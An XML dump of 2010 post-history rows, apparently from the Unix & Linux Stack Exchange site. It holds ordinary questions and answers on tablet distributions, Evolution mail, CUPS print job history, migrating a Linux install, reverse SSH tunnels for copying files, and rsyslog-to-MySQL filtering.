  <row Id="5966" PostHistoryTypeId="2" PostId="2851" RevisionGUID="016af426-5881-434b-90ad-4d7af46731b9" CreationDate="2010-10-07T13:03:08.923" UserId="1339" Text="As far as I know there is no special tablet pc linux distribution available.&#xD;&#xA;&#xD;&#xA;Ubuntu 10.10 is heading towards a better tablet/touch based input support:&#xD;&#xA;&#xD;&#xA;They are including their multi touch framework uTouch in the current release. See the blog post from Canonical from 16th August, 2010: &quot;[Multi-touch Support Lands in Maverick][1]&quot;.&#xD;&#xA;&#xD;&#xA;&quot;Unity&quot; is the new light weight desktop interface, which is also optimized for touch events as user inputs. See Mark Shuttleworths Blogposting [&quot;Unity, and Ubuntu Light&quot;][2].&#xD;&#xA;&#xD;&#xA;You should simply try the [Ubuntu 10.10 (Maverick) Beta][3]. It includes Linux kernel 2.6.35 with some patches for improved  multitouch capability.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.canonical.com/?p=414&#xD;&#xA;  [2]: http://www.markshuttleworth.com/archives/383&#xD;&#xA;  [3]: http://www.ubuntu.com/testing/maverick/beta" />
  <row Id="5967" PostHistoryTypeId="4" PostId="2849" RevisionGUID="0708ea8e-c8c9-430a-8d00-129e157367c1" CreationDate="2010-10-07T14:04:15.483" UserId="73" Comment="edited title" Text="What distributions work out of the box with tablet computers?" />
  <row Id="5968" PostHistoryTypeId="5" PostId="2845" RevisionGUID="03a77ae5-fde5-4490-885c-d6b39e099164" CreationDate="2010-10-07T14:04:35.650" UserId="73" Comment="added 19 characters in body; edited title" Text="How can I tell linux to send directly from my microphone to my loudspeaker?" />
  <row Id="5969" PostHistoryTypeId="4" PostId="2845" RevisionGUID="03a77ae5-fde5-4490-885c-d6b39e099164" CreationDate="2010-10-07T14:04:35.650" UserId="73" Comment="added 19 characters in body; edited title" Text="Sending music directly from MIC to LS" />
  <row Id="5970" PostHistoryTypeId="2" PostId="2852" RevisionGUID="a5144341-524e-4e1d-a2ba-5d428e592a7e" CreationDate="2010-10-07T15:19:38.533" UserId="1339" Text="" />
  <row Id="5971" PostHistoryTypeId="2" PostId="2853" RevisionGUID="6824269c-83c3-4e45-8f4d-fb91e875ac48" CreationDate="2010-10-07T15:19:38.533" UserId="1339" Text="Debian is a community driven GNU/Linux distribution first announced 1993. It is well known for its package management system APT and large number of packages. Many other distributions are influenced or originate from it, like Ubuntu or Knoppix." />
  <row Id="5972" PostHistoryTypeId="2" PostId="2854" RevisionGUID="9ea65378-ebcc-401d-8ffa-4796614f2898" CreationDate="2010-10-07T16:05:34.450" UserId="2049" Text="In Ubuntu/Gnome under the mail icon in the tray, there are chat, mail, and broadcast. opening the chat logs into your IM accounts and keeps you logged in when closing the main window.  But it appears that for the mail (ie evolution), when you open it it logs in and checks mail, but stops checking mail as soon as you close the window. I cannot find the setting to keep checking mail even when the main window is closed.  This seems like a basic function and I can't figure out why it isn't the default behavior.  How do I keep checking mail when the main window is closed?&#xD;&#xA;&#xD;&#xA;Running Ubuntu 10.4 Lucid X64.  " />
  <row Id="5973" PostHistoryTypeId="1" PostId="2854" RevisionGUID="9ea65378-ebcc-401d-8ffa-4796614f2898" CreationDate="2010-10-07T16:05:34.450" UserId="2049" Text="Evolution Check mail when Window is closed" />
  <row Id="5974" PostHistoryTypeId="3" PostId="2854" RevisionGUID="9ea65378-ebcc-401d-8ffa-4796614f2898" CreationDate="2010-10-07T16:05:34.450" UserId="2049" Text="éubuntuàémailàéevolutionà" />
  <row Id="5976" PostHistoryTypeId="2" PostId="2855" RevisionGUID="01977f87-f77e-429d-a0b9-81c593fd5257" CreationDate="2010-10-07T16:51:25.003" UserId="2198" Text="In line with Caleb's answer there is the [Linux App Finder][1]. I generally find it easier to start with a Windows app and search for &quot;linux alternative &lt;app&gt;&quot; as Windows apps are usually easier to find information on because they are more heavily promoted and more people know about them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxappfinder.com/" />
  <row Id="5977" PostHistoryTypeId="16" PostId="2855" RevisionGUID="01977f87-f77e-429d-a0b9-81c593fd5257" CreationDate="2010-10-07T16:51:25.003" UserId="-1" />
  <row Id="5978" PostHistoryTypeId="9" PostId="2812" RevisionGUID="93b32f50-e3b9-4a42-b76a-a8c7f20c27e5" CreationDate="2010-10-07T17:47:02.143" UserId="2180" Comment="Rollback to [7731de03-d6d3-4d54-b71e-eb161b36c5b0]" Text="ékernelàésourceà" />
  <row Id="5979" PostHistoryTypeId="2" PostId="2856" RevisionGUID="bfbe3b36-04ea-4c4e-b8d1-6541011bb3a4" CreationDate="2010-10-07T17:49:31.843" UserId="663" Text="I figured it out... You need to edit the /usr/share/eucalyptus/gen_kvm_libvirt_xml file. Here's the diff:&#xD;&#xA;&#xD;&#xA;    --- /usr/share/eucalyptus/gen_kvm_libvirt_xml.bak	2010-09-28 14:54:20.259266161 -0400&#xD;&#xA;    +++ /usr/share/eucalyptus/gen_kvm_libvirt_xml	2010-09-28 15:01:25.269265897 -0400&#xD;&#xA;    @@ -109,9 +109,9 @@&#xD;&#xA;                 &lt;mac address='PRIVMACADDR'/&gt;&#xD;&#xA;                 &lt;model type='e1000'/&gt;&#xD;&#xA;             &lt;/interface&gt;&#xD;&#xA;    -        &lt;serial type=&quot;file&quot;&gt;&#xD;&#xA;    -            &lt;source path='BASEPATH/console.log'/&gt;&#xD;&#xA;    -            &lt;target port='1'/&gt;&#xD;&#xA;    +        &lt;serial type='pty'&gt;&#xD;&#xA;    +          &lt;source path='/dev/pts/2'/&gt;&#xD;&#xA;    +          &lt;target port='0'/&gt;&#xD;&#xA;             &lt;/serial&gt;&#xD;&#xA;         &lt;/devices&gt;&#xD;&#xA;     &lt;/domain&gt;&#xD;&#xA;&#xD;&#xA;(Also answered on serverfault)." />
  <row Id="5980" PostHistoryTypeId="9" PostId="2812" RevisionGUID="72708afc-ae05-4463-92f9-8972923413f1" CreationDate="2010-10-07T17:50:05.210" UserId="2180" Comment="Rollback to [bfee91dc-0691-40a3-821e-08bfe180232c]" Text="élinuxàékernelàésourceà" />
  <row Id="5981" PostHistoryTypeId="2" PostId="2857" RevisionGUID="fdabc96b-4e09-4b3d-8a28-548ce6c31d6f" CreationDate="2010-10-07T17:53:52.127" UserId="2180" Text="If I'm logged in to a system via SSH, is there a way to copy a file back to my local system without firing up another terminal or screen session and doing scp or something similar or without doing SSH from the remote system back to the local system?" />
  <row Id="5982" PostHistoryTypeId="1" PostId="2857" RevisionGUID="fdabc96b-4e09-4b3d-8a28-548ce6c31d6f" CreationDate="2010-10-07T17:53:52.127" UserId="2180" Text="SSH easily copy file to local system." />
  <row Id="5983" PostHistoryTypeId="3" PostId="2857" RevisionGUID="fdabc96b-4e09-4b3d-8a28-548ce6c31d6f" CreationDate="2010-10-07T17:53:52.127" UserId="2180" Text="élinuxàésshà" />
  <row Id="5984" PostHistoryTypeId="2" PostId="2858" RevisionGUID="49ffbfd2-2684-46a1-8b84-74ef529b7514" CreationDate="2010-10-07T17:54:42.900" UserId="1325" Text="Hi,&#xD;&#xA; is there a utility to inspect the jobs that a printer has completed?&#xD;&#xA;Best," />
  <row Id="5985" PostHistoryTypeId="1" PostId="2858" RevisionGUID="49ffbfd2-2684-46a1-8b84-74ef529b7514" CreationDate="2010-10-07T17:54:42.900" UserId="1325" Text="list printer's completed jobs (history)" />
  <row Id="5986" PostHistoryTypeId="3" PostId="2858" RevisionGUID="49ffbfd2-2684-46a1-8b84-74ef529b7514" CreationDate="2010-10-07T17:54:42.900" UserId="1325" Text="écommandölineàéprintingà" />
  <row Id="5988" PostHistoryTypeId="2" PostId="2860" RevisionGUID="654515c8-5abd-44c6-a6b4-3ce26ba13cf9" CreationDate="2010-10-07T18:29:36.193" UserId="2091" Text="That depends on which printing system you are using. &#xD;&#xA;When using CUPS you would like to have a look at the page logifile, which shows you every page that has been printed. &#xD;&#xA;The default location of that file is: **/var/log/cups/page_log**" />
  <row Id="5989" PostHistoryTypeId="2" PostId="2861" RevisionGUID="75198cde-abf3-4bb3-b397-1f8eb4f157cd" CreationDate="2010-10-07T18:30:26.610" UserId="1948" Text="CUPS provides a list of all jobs on a printer on its web front-end.  Go to http://localhost:631/jobs?which_jobs=completed  or whatever machine is hosting the print server." />
  <row Id="5990" PostHistoryTypeId="2" PostId="2862" RevisionGUID="a72a2391-3f87-4357-a2e6-e426d116d092" CreationDate="2010-10-07T19:16:42.913" UserId="885" Text="With CUPS (the standard printing system on Mac OS X, also used by many but not all other unices):&#xD;&#xA;&#xD;&#xA;    lpstat -W completed&#xD;&#xA;" />
  <row Id="5991" PostHistoryTypeId="2" PostId="2863" RevisionGUID="2933af52-609f-4e52-8ec9-5a8a87ccdf73" CreationDate="2010-10-07T19:48:50.190" UserId="2180" Text="The feature does not yet exist. What I do is send the window to another workspace. You can do this a couple of ways. The easiest is to right-click on either Evolution's title-bar or its entry in the task bar and pick &quot;Move to Another Workspace&quot; then choose the one to move it to (I always use 4 for mail). You can switch to that workspace by using the workspace switcher in the bottom-right or by using they key combos alt+ctrl+left and alt+ctrl+right.&#xD;&#xA;&#xD;&#xA;I actually find this more convenient than closing and opening the window." />
  <row Id="5992" PostHistoryTypeId="2" PostId="2864" RevisionGUID="b3182582-ffc5-44f9-96ea-9227a59feb89" CreationDate="2010-10-07T20:07:25.800" UserId="2180" Text="Although the feature doesn't yet exist in the mail icon that's used in Ubuntu, there is another program you can install called &quot;mail notification&quot;. You can find it in the software center pretty easily, the project's webpage is http://www.nongnu.org/mailnotify/. It is a panel applet that will watch your mail accounts and let you know when something comes in. Clicking on the icon will launch the mail reader for you.&#xD;&#xA;&#xD;&#xA;If you set this up, it has several options for types of accounts to setup, including Evolution - don't use the Evolution option because it will only be able to watch those accounts while Evolution is open. Choose IMAP, Gmail, POP, etc. instead." />
  <row Id="5993" PostHistoryTypeId="2" PostId="2865" RevisionGUID="4d09036b-c524-46b3-bc5a-4341fcbb6bf1" CreationDate="2010-10-07T20:39:53.050" UserId="1571" Text="I know it's practically impossible to take a windows install and move it from one computer to another (physically move the hard drive), but how does that work on linux? Aren't most of the driver modules loaded at bootup? So theoretically would it be that much of a hassle?&#xD;&#xA;&#xD;&#xA;Obviously xorg configs would change and proprietary ATI drivers and such would have to be recompiled (maybe?). Is there more to it than I'm thinking of?&#xD;&#xA;&#xD;&#xA;Assume the 2 computers are from the same era, ie both i7s but slightly different hardware." />
  <row Id="5994" PostHistoryTypeId="1" PostId="2865" RevisionGUID="4d09036b-c524-46b3-bc5a-4341fcbb6bf1" CreationDate="2010-10-07T20:39:53.050" UserId="1571" Text="Moving linux install to a new computer" />
  <row Id="5995" PostHistoryTypeId="3" PostId="2865" RevisionGUID="4d09036b-c524-46b3-bc5a-4341fcbb6bf1" CreationDate="2010-10-07T20:39:53.050" UserId="1571" Text="édriversàémigrationà" />
  <row Id="5996" PostHistoryTypeId="2" PostId="2866" RevisionGUID="e7e491d1-7956-4997-b4f8-1f125a60697d" CreationDate="2010-10-07T20:54:04.310" UserId="73" Text="I'm not sure if this answers your question, but typically you do the exact opposite -- you move your user folder and reinstall everything. In theory all your customization and individual configuration files should be in your user folder, so that's the only thing you really need to transfer&#xD;&#xA;&#xD;&#xA;Some package managers have a way to list all installed packages (Debian/Ubuntu have `dpkg --list`, Gentoo has `/etc/world`, etc.), so you can just:&#xD;&#xA;&#xD;&#xA;1. Install the base distro on a new system&#xD;&#xA;2. Tell it &quot;install all the packages I had on the other computer&quot;&#xD;&#xA;3. Copy your user folder&#xD;&#xA;&#xD;&#xA;And you should end up with a functionally identical system" />
  <row Id="5997" PostHistoryTypeId="5" PostId="2858" RevisionGUID="a087e75d-db92-4455-98b3-26633525bcbf" CreationDate="2010-10-07T21:12:05.850" UserId="73" Comment="deleted 11 characters in body; edited title; edited tags" Text="Is there a utility to inspect the jobs that a printer has completed?&#xD;&#xA;" />
  <row Id="5998" PostHistoryTypeId="4" PostId="2858" RevisionGUID="a087e75d-db92-4455-98b3-26633525bcbf" CreationDate="2010-10-07T21:12:05.850" UserId="73" Comment="deleted 11 characters in body; edited title; edited tags" Text="List printer's completed jobs" />
  <row Id="5999" PostHistoryTypeId="6" PostId="2858" RevisionGUID="a087e75d-db92-4455-98b3-26633525bcbf" CreationDate="2010-10-07T21:12:05.850" UserId="73" Comment="deleted 11 characters in body; edited title; edited tags" Text="éprintingàécupsà" />
  <row Id="6000" PostHistoryTypeId="2" PostId="2867" RevisionGUID="1177d8d4-cf9b-48fb-8daa-9467da2187b6" CreationDate="2010-10-07T21:14:39.683" UserId="1941" Text="Indeed while under Windows it is almost impossible to move an installation to a new PC by just copying harddrive contents or switching the harddrive between the PCs, this works amazingly well under Linux. I switched from a Thinkpad R52 to a Thinkpad T400 by just copying the contents of my old harddrive to the new one (by putting the old one in an external closure connected via USB and copying everything under a Gparted-Live-CD). All I had to do after that was manually putting Grub into the MBR and boot. Everything still worked for me.&#xD;&#xA;&#xD;&#xA;As Michael said, normally a new PC is a nice opportunity to get rid of the cruft accumulated over time, however sometimes you just have to get into work again really fast and then just copying the harddrive contents work great with Linux, as all drivers included in the kernel are available to the kernel without installation, nowadays the drivers are auto-loaded instead of manually listed in modprobe.conf and even xorg autoconfigures itself for me.&#xD;&#xA;&#xD;&#xA;Only if you had to manually configure drivers on the old PC (e.g. Raid systems, proprietary graphic drivers etc) you might run into problems." />
  <row Id="6001" PostHistoryTypeId="2" PostId="2868" RevisionGUID="803cd84e-5521-44dc-a15b-017f2582d686" CreationDate="2010-10-07T21:27:15.870" UserId="885" Text="Moving or cloning a Linux installation is pretty easy, assuming the source and target processors are the same architecture (e.g. both x86, both x64, both arm…).&#xD;&#xA;&#xD;&#xA;## Moving&#xD;&#xA;&#xD;&#xA;When moving, you have to take care of hardware dependencies. However most users won't encounter any difficulty other than `xorg.conf` (and even then modern distributions tend not to need it) and perhaps the bootloader.&#xD;&#xA;&#xD;&#xA;* If the disk configuration is different, you may need to reconfigure the **bootloader** and **filesystem tables** (`/etc/fstab`, `/etc/crypttab` if you use cryptography, `/etc/mdadm.conf` if you use md RAID). For the bootloader, the easiest way is to pop the disk into the new machine, boot your distribution's live CD/USB and use its bootloader reparation tool.&#xD;&#xA;&#xD;&#xA; Note that if you're copying the data rather than physically moving the disk (for example because one or both systems dual boot with Windows), it's faster and easier to copy whole partitions (with (G)Parted or `dd`).&#xD;&#xA;&#xD;&#xA;* If you have an **`xorg.conf`** file to declare display-related options (e.g. in relation with a proprietary driver), it will need to be modified if the target system has a different graphics card or a different monitor setup. You should also install the **proprietary driver** for the target system's graphics card before moving, if applicable.&#xD;&#xA;&#xD;&#xA;* If you've declared **module options** or blacklists in `/etc/modprobe.d`, they may need to be adjusted for the target system.&#xD;&#xA;&#xD;&#xA;## Cloning&#xD;&#xA;&#xD;&#xA;Cloning an installation involves the same hardware-related issues as moving, but there are a few more things to take care of to give the new machine a new identity.&#xD;&#xA;&#xD;&#xA;* Edit &lt;code&gt;/etc/&lt;strong&gt;hostname&lt;/strong&gt;&lt;/code&gt; to give the new machine a new name.&#xD;&#xA;&#xD;&#xA;* Regenerate the **ssh host key**.&#xD;&#xA;&#xD;&#xA;* Make any necessary change to the **networking configuration** (such as a static IP address).&#xD;&#xA;&#xD;&#xA;* Change the UUID of RAID volumes (not necessary, but recommended to avoid confusion), e.g., `mdadm -U uuid`.&#xD;&#xA;&#xD;&#xA;See also [a step-by-step cloning guide targeted at Ubuntu](http://ubuntu.stackexchange.com/questions/386/how-can-i-most-easily-migrate-all-my-apps-and-settings-from-one-ubuntu-install-to/5025#5025).&#xD;&#xA;&#xD;&#xA;My current desktop computer installation was cloned from its predecessor by unplugging one of two RAID-1 mirrored disks, moving it into the new computer, creating a RAID-1 volume on the already present disk, letting the mirror resynchronize, and making the changes outlined above where applicable.&#xD;&#xA;" />
  <row Id="6002" PostHistoryTypeId="2" PostId="2869" RevisionGUID="99548d71-b477-4b95-93ed-90eb71a790be" CreationDate="2010-10-07T21:42:47.843" UserId="885" Text="One way is to establish a reverse ssh tunnel. On the ssh command line, create a remote forwarding by passing `-R 22042:localhost:22` where 22042 is a randomly chosen number that's different from any other port number on the remote machine. Then `ssh -p 22042 localhost` on the remote machine connects you back to the source machine; you can use `scp -P 22042 foo localhost:` to copy files.&#xD;&#xA;&#xD;&#xA;You can automate this further with `RemoteForward 22042 localhost:22`. The problem with this is that if you connect to the same computer with multiple instances of ssh, or if someone else is using the port, you don't get the forwarding.&#xD;&#xA;&#xD;&#xA;If you haven't enabled a remote forwarding from the start, you can do it on an existing ssh session. Type &lt;kbd&gt;Enter&lt;/kbd&gt; `~C` &lt;kbd&gt;Enter&lt;/kbd&gt; `-R 22042:localhost:22` &lt;kbd&gt;Enter&lt;/kbd&gt;.&#xD;&#xA;See “Escape characters” in the manual for more information.&#xD;&#xA;&#xD;&#xA;There is also some interesting information in [this Server Fault thread](http://serverfault.com/questions/175798/ssh-back-to-the-local-machine-from-a-remote-ssh-session).&#xD;&#xA;" />
  <row Id="6003" PostHistoryTypeId="5" PostId="2071" RevisionGUID="82d87ac9-49fe-4bb7-85bb-cbec2287d444" CreationDate="2010-10-07T21:52:13.630" UserId="1941" Comment="Fix several spelling errors" Text="What is best practice for creating mandatory / default gconf-profiles using the users environment-variables. If so there is easy to maintain systemwide and distribute profiles in a corporate network.&#xD;&#xA;&#xD;&#xA;This is what I want:&#xD;&#xA;&#xD;&#xA;For an example, I want to use a gconf-key where some information is defined by environment variables, the key /apps/evolution/mail/accounts and $USER / $USERNAME:&#xD;&#xA;&#xD;&#xA;[&lt;?xml version=&quot;1.0&quot;?&gt;&#xD;&#xA;&lt;account name=&quot;$(USER)@example.com&quot;&gt;&#xD;&#xA;&lt;identity&gt;&#xD;&#xA;    &lt;name&gt;$(USERNAME)&lt;/name&gt;&#xD;&#xA;    &lt;addr-spec&gt;$(USER)@example.com&lt;/addr-spec&gt;&#xD;&#xA;&lt;/identity&gt;&#xD;&#xA;&lt;source&gt;&#xD;&#xA;  &lt;url&gt;imap://$(USER)%&#xD;&#xA;40example.com@imap.example.com/;;use_ssl=when-possible&#xD;&#xA; &lt;/url&gt;&#xD;&#xA;&lt;/source&gt;&#xD;&#xA;&lt;transport save-passwd=&quot;true&quot;&gt;&#xD;&#xA;        &lt;url&gt;smtp://$(USER)%40smtp.example.com;;use_ssl=when-possible&lt;/url&gt;&#xD;&#xA;&lt;/transport&gt;&#xD;&#xA;&#xD;&#xA;&lt;/account&gt;&#xD;&#xA;,&#xD;&#xA;]&#xD;&#xA;&#xD;&#xA;I believe that I need a subsystem that processes template profiles into something gconfd can use. I have tried desktop-profiles and sabayon without any luck. Evoldap-backend works only for evolution and feels a little overkill even if I end up with LDAP / Gosa or LDAP / phamm for authentication. Mail, IM and VoIP / Telepathy uses only information that is easy reachable from GECOS (/etc/passwd) and standard login environment. It feels more robust to administer one systemwide template than a profile per user.&#xD;&#xA;" />
  <row Id="6004" PostHistoryTypeId="2" PostId="2870" RevisionGUID="644d9994-910e-4215-b4a1-c705af1fa2a3" CreationDate="2010-10-07T22:03:31.757" UserId="1941" Text="This should be solvable with a simple bash script using standard Linux tools:&#xD;&#xA;&#xD;&#xA; 1. Check if the folder /home/&quot;$USER&quot;/.gconf/apps/evolution exists&#xD;&#xA; 2. If it doesn't exist, copy a template directory over&#xD;&#xA; 3. Replace the placeholders with sed.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6005" PostHistoryTypeId="2" PostId="2871" RevisionGUID="64e878a9-e97b-4afd-ba31-5831a97fb2ce" CreationDate="2010-10-08T00:05:26.003" UserId="2080" Text="There's an experimental multithreaded version of ffmpeg at http://gitorious.org/ffmpeg/ffmpeg-mt, it might be possible to use that with either mplayer or VLC. " />
  <row Id="6006" PostHistoryTypeId="5" PostId="2865" RevisionGUID="8e29fba1-2771-4eee-a547-2bbe7d977450" CreationDate="2010-10-08T00:07:52.863" UserId="1571" Comment="added 262 characters in body" Text="I know it's practically impossible to take a windows install and move it from one computer to another (physically move the hard drive), but how does that work on linux? Aren't most of the driver modules loaded at bootup? So theoretically would it be that much of a hassle?&#xD;&#xA;&#xD;&#xA;Obviously xorg configs would change and proprietary ATI drivers and such would have to be recompiled (maybe?). Is there more to it than I'm thinking of?&#xD;&#xA;&#xD;&#xA;Assume the 2 computers are from the same era, ie both i7s but slightly different hardware.&#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;Thanks for the answers. This is mostly for my own curiosity. I have my linux system up and running at work, but eventually I'd like to move to a computer that I can get dual video cards into so I can run more than 2 monitors. But not any time soon" />
  <row Id="6007" PostHistoryTypeId="2" PostId="2872" RevisionGUID="2c6280b7-e72d-435b-b732-d7c774373cd7" CreationDate="2010-10-08T00:21:10.523" UserId="2080" Text="If you're looking to learn, Gentoo's a good option - the minimal Gentoo installation is a root shell and a package manager, and you build the rest of your system from there. Gentoo also stays pretty close to upstream on packages, so you won't run into too many problems if you want to download and build some packages yourself (and in fact, you can add them to the /etc/portage/package.provided file after they're installed, and use them as dependencies!)&#xD;&#xA;&#xD;&#xA;If you're looking for the absolute smallest possible Linux system, then build your own kernel, stripping out all the drivers and features that you're not planning to use, and then add an initramfs containing a similarly minimized build of Busybox. The result is a fully-bootable Linux system in a single executable (which you can point your bootloader at), and which you can fit in under 10 MB without even trying. " />
  <row Id="6008" PostHistoryTypeId="2" PostId="2873" RevisionGUID="033b3673-077f-4c36-92b8-46d9239ac8e9" CreationDate="2010-10-08T00:29:01.050" UserId="2080" Text="If I had to make an educated guess about what's going on here, I'd say that firefox first looks for an open firefox window before launching, and if that exists sends it a message using X to just start a new browser window. Because the remote system is using your local display, whatever it uses for detection is picking up the local window. (This would also explain why the remote window is found when you're starting a local firefox process.)&#xD;&#xA;&#xD;&#xA;You can test this by closing all local firefox windows, and then trying to start firefox on the remote server - if the detection is happening like I think it is, there won't be any running windows for it to latch on to, so it'll start an instance on the remote system like you expect.&#xD;&#xA;&#xD;&#xA;As far as actually fixing the issue, tante's suggestion to set MOZ_NO_REMOTE is the proper solution." />
  <row Id="6009" PostHistoryTypeId="2" PostId="2874" RevisionGUID="c6c35a60-ef86-4fff-9493-5be50208230a" CreationDate="2010-10-08T02:29:25.797" UserId="1957" Text="Out of the box rsyslog (http://www.rsyslog.com/) will dump everything into the SystemEvents table within the Syslog database (if you use the default schema provided). I would like to use a regular expression to filter inbound messages into separate database tables.&#xD;&#xA;&#xD;&#xA;I've played with this, but I'm having a hard time figuring out the best way to accomplish this (or even a way that functions).&#xD;&#xA;&#xD;&#xA;In my rsyslog.conf:&#xD;&#xA;&#xD;&#xA;    $template wireless, \&#xD;&#xA;     &quot;insert into RogueAPs \&#xD;&#xA;     (ReceivedAt, DeviceReportedTime, Facility, Priority, FromHost, Message) \&#xD;&#xA;     VALUES('%timegenerated%', '%timereported%', '%syslogfacility%', '%syslogpriority%', '%fromhost-ip%', '%msg%');&quot;, \ &#xD;&#xA;     stdsql&#xD;&#xA;    &#xD;&#xA;    if $msg contains 'subtype=wireless' then :ommysql:127.0.0.1,Syslog,dbusername,dbpassword;wireless&#xD;&#xA;    &#xD;&#xA;    *.* :ommysql:127.0.0.1,Syslog,dbusername,dbpassword&#xD;&#xA;&#xD;&#xA;This was my latest attempt, but I'm stuck.&#xD;&#xA;&#xD;&#xA;**the RogueAPs table is just a clone of the default SystemEvents table that ships with rsyslog&#xD;&#xA;&#xD;&#xA;Version Info:&#xD;&#xA;&#xD;&#xA;    shell# /usr/local/sbin/rsyslogd -v&#xD;&#xA;    rsyslogd 5.5.5, compiled with:&#xD;&#xA;            FEATURE_REGEXP:                         Yes&#xD;&#xA;            FEATURE_LARGEFILE:                      No&#xD;&#xA;            FEATURE_NETZIP (message compression):   Yes&#xD;&#xA;            GSSAPI Kerberos 5 support:              No&#xD;&#xA;            FEATURE_DEBUG (debug build, slow code): No&#xD;&#xA;            Atomic operations supported:            Yes&#xD;&#xA;            Runtime Instrumentation (slow code):    No&#xD;&#xA;    &#xD;&#xA;    See http://www.rsyslog.com for more information." />
  <row Id="6010" PostHistoryTypeId="1" PostId="2874" RevisionGUID="c6c35a60-ef86-4fff-9493-5be50208230a" CreationDate="2010-10-08T02:29:25.797" UserId="1957" Text="Parse syslog messages into seperate MySQL tables with rsyslog" />
  <row Id="6011" PostHistoryTypeId="3" PostId="2874" RevisionGUID="c6c35a60-ef86-4fff-9493-5be50208230a" CreationDate="2010-10-08T02:29:25.797" UserId="1957" Text="élogsà" />
  <row Id="6012" PostHistoryTypeId="2" PostId="2875" RevisionGUID="def5fef1-9667-489a-a578-417c93f998e3" CreationDate="2010-10-08T02:37:01.203" UserId="1474" Text="As far as I know, this is not possible, at least if you want a reasonably stable solution.  Which would, at this point, also exclude the Exchange MAPI option, even if it were available." />
  <row Id="6013" PostHistoryTypeId="2" PostId="2876" RevisionGUID="39fd239d-ec6b-4736-b6ff-3f49c74b70c8" CreationDate="2010-10-08T03:31:42.163" UserId="2119" Text="I am looking for a playing cards &quot;game&quot; where there are no rules and I can just place and move cards as I want. Just a real cards deck and replacement which I can use to play any single-player (solitaire) card game I may know." />
  <row Id="6014" PostHistoryTypeId="1" PostId="2876" RevisionGUID="39fd239d-ec6b-4736-b6ff-3f49c74b70c8" CreationDate="2010-10-08T03:31:42.163" UserId="2119" Text="Is there a freeform playing cards deck&amp;table game for Linux?" />
  <row Id="6015" PostHistoryTypeId="3" PostId="2876" RevisionGUID="39fd239d-ec6b-4736-b6ff-3f49c74b70c8" CreationDate="2010-10-08T03:31:42.163" UserId="2119" Text="égamesà" />
  <row Id="6016" PostHistoryTypeId="5" PostId="2874" RevisionGUID="dfbe6f55-b9c1-49cc-8c27-5d75c6738b16" CreationDate="2010-10-08T03:59:02.990" UserId="73" Comment="added 11 characters in body; edited tags; edited title" Text="Out of the box [rsyslog](http://www.rsyslog.com/) will dump everything into the `SystemEvents` table within the `Syslog database (if you use the default schema provided). I would like to use a regular expression to filter inbound messages into separate database tables.&#xD;&#xA;&#xD;&#xA;I've played with this, but I'm having a hard time figuring out the best way to accomplish this (or even a way that functions).&#xD;&#xA;&#xD;&#xA;In my rsyslog.conf:&#xD;&#xA;&#xD;&#xA;    $template wireless, \&#xD;&#xA;     &quot;insert into RogueAPs \&#xD;&#xA;     (ReceivedAt, DeviceReportedTime, Facility, Priority, FromHost, Message) \&#xD;&#xA;     VALUES('%timegenerated%', '%timereported%', '%syslogfacility%', '%syslogpriority%', '%fromhost-ip%', '%msg%');&quot;, \ &#xD;&#xA;     stdsql&#xD;&#xA;    &#xD;&#xA;    if $msg contains 'subtype=wireless' then :ommysql:127.0.0.1,Syslog,dbusername,dbpassword;wireless&#xD;&#xA;    &#xD;&#xA;    *.* :ommysql:127.0.0.1,Syslog,dbusername,dbpassword&#xD;&#xA;&#xD;&#xA;This was my latest attempt, but I'm stuck.&#xD;&#xA;&#xD;&#xA;(the RogueAPs table is just a clone of the default SystemEvents table that ships with rsyslog)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Version Info:&#xD;&#xA;&#xD;&#xA;    shell# /usr/local/sbin/rsyslogd -v&#xD;&#xA;    rsyslogd 5.5.5, compiled with:&#xD;&#xA;            FEATURE_REGEXP:                         Yes&#xD;&#xA;            FEATURE_LARGEFILE:                      No&#xD;&#xA;            FEATURE_NETZIP (message compression):   Yes&#xD;&#xA;            GSSAPI Kerberos 5 support:              No&#xD;&#xA;            FEATURE_DEBUG (debug build, slow code): No&#xD;&#xA;            Atomic operations supported:            Yes&#xD;&#xA;            Runtime Instrumentation (slow code):    No&#xD;&#xA;    &#xD;&#xA;    See http://www.rsyslog.com for more information." />
  <row Id="6017" PostHistoryTypeId="4" PostId="2874" RevisionGUID="dfbe6f55-b9c1-49cc-8c27-5d75c6738b16" CreationDate="2010-10-08T03:59:02.990" UserId="73" Comment="added 11 characters in body; edited tags; edited title" Text="Parse syslog messages into separate MySQL tables with rsyslog" />
  <row Id="6018" PostHistoryTypeId="6" PostId="2874" RevisionGUID="dfbe6f55-b9c1-49cc-8c27-5d75c6738b16" CreationDate="2010-10-08T03:59:02.990" UserId="73" Comment="added 11 characters in body; edited tags; edited title" Text="élogsàérsyslogà" />
  <row Id="6019" PostHistoryTypeId="2" PostId="2877" RevisionGUID="f5a18161-da55-4bdc-9f15-60b22bcf0536" CreationDate="2010-10-08T05:45:57.690" UserId="1571" Text="I usually use kubuntu, but I had to install a custom kernel on my laptop and it's a lot easier with arch. The problem is that kde looks terrible in arch, especially the GTK applications. I know there are all sorts of tutorials of installing gnome icons, and various peicewise fixes, but is there a way to find out exactly how kubuntu sets up KDE so I can just duplicate that?" />
  <row Id="6020" PostHistoryTypeId="1" PostId="2877" RevisionGUID="f5a18161-da55-4bdc-9f15-60b22bcf0536" CreationDate="2010-10-08T05:45:57.690" UserId="1571" Text="KDE looks terrible in arch" />
  <row Id="6021" PostHistoryTypeId="3" PostId="2877" RevisionGUID="f5a18161-da55-4bdc-9f15-60b22bcf0536" CreationDate="2010-10-08T05:45:57.690" UserId="1571" Text="ékdeàéarchölinuxà" />
